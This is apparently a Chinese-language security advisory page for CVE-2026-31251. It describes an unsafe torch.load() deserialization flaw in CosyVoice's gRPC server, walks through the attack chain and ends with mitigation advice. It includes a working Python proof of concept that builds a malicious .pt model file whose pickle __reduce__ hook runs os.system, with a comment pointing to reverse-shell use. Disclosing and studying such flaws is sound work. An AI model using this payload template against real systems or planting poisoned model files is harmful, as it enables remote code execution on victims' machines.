IPBUF安全漏洞报告
English
CVE-2026-31251 CVSS 7.3 高危

CVE-2026-31251 CosyVoice 不安全反序列化漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-31251
漏洞类型
远程代码执行
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CosyVoice

相关标签

RCE不安全反序列化CosyVoiceCWE-502PyTorch

漏洞概述

CosyVoice 在 commit 6e01309e 之前的版本中存在不安全反序列化漏洞。该漏洞位于其 gRPC 服务器组件中。由于服务器在启动时使用 torch.load() 从用户指定目录加载语音合成模型,且未启用 weights_only=True 安全参数,攻击者可以利用 Python pickle 模块的特性反序列化任意对象。如果攻击者诱导受害者加载包含恶意模型文件的目录,将在服务器初始化期间导致受害者系统上的任意代码执行。

技术细节

该漏洞根植于 Python pickle 模块的不安全特性以及 PyTorch torch.load() 函数的默认行为。torch.load() 在默认情况下不仅仅加载张量数据,还会完整地反序列化 Python 对象,这允许在加载过程中执行任意代码(通过对象的 __reduce__ 方法)。CosyVoice 的 gRPC 服务器在启动流程中,直接从用户提供的路径加载模型,且未设置 weights_only=True 这一关键安全标志。攻击者可以利用这一缺陷,构建一个伪装成语音模型的恶意文件。该文件包含一段 Payload,当受害者的服务器尝试加载该“模型”时,恶意代码会被立即执行。由于漏洞触发点位于服务启动初始化阶段,且无需任何认证或用户交互,攻击者一旦诱导受害者加载该文件,即可在目标服务器上获得与服务器进程相同的权限,实现远程代码执行。

攻击链分析

STEP 1
1. 武器化
攻击者创建一个包含恶意 Python 代码(利用 pickle __reduce__ 方法)的伪造模型文件(.pt)。
STEP 2
2. 传递
攻击者将包含恶意文件的目录提供给受害者,或诱导受害者将 CosyVoice 服务器的模型路径指向该目录。
STEP 3
3. 利用
受害者启动 CosyVoice gRPC 服务器,服务器自动调用 torch.load() 加载目录下的模型。
STEP 4
4. 执行
由于未开启安全限制,torch.load() 反序列化恶意对象,触发 __reduce__ 方法,在受害者系统上执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import torch import os import pickle # Define a malicious class that executes code on deserialization class MaliciousPayload: def __reduce__(self): # The command to execute (e.g., creating a file as proof of concept) # In a real attack, this could be a reverse shell return (os.system, ('touch /tmp/pwned_by_cve_2026_31251',)) # Create an instance of the malicious payload payload = MaliciousPayload() # Save the payload as a fake model file using torch.save (which uses pickle internally) # The victim would load this file thinking it is a legitimate speech synthesis model print("[*] Generating malicious model file...") torch.save(payload, 'malicious_model.pt') print("[+] Malicious model file 'malicious_model.pt' created successfully.") print("[+] When the victim loads this file using torch.load(), the command will be executed.")

影响范围

CosyVoice <= commit 6e01309e

防御指南

临时缓解措施
建议立即将 CosyVoice 更新至包含安全修复的最新提交。在无法立即更新的情况下,请勿加载不可信来源的模型文件,并检查服务器启动代码,确保所有 torch.load 调用均已添加 weights_only=True 参数,以阻断反序列化攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表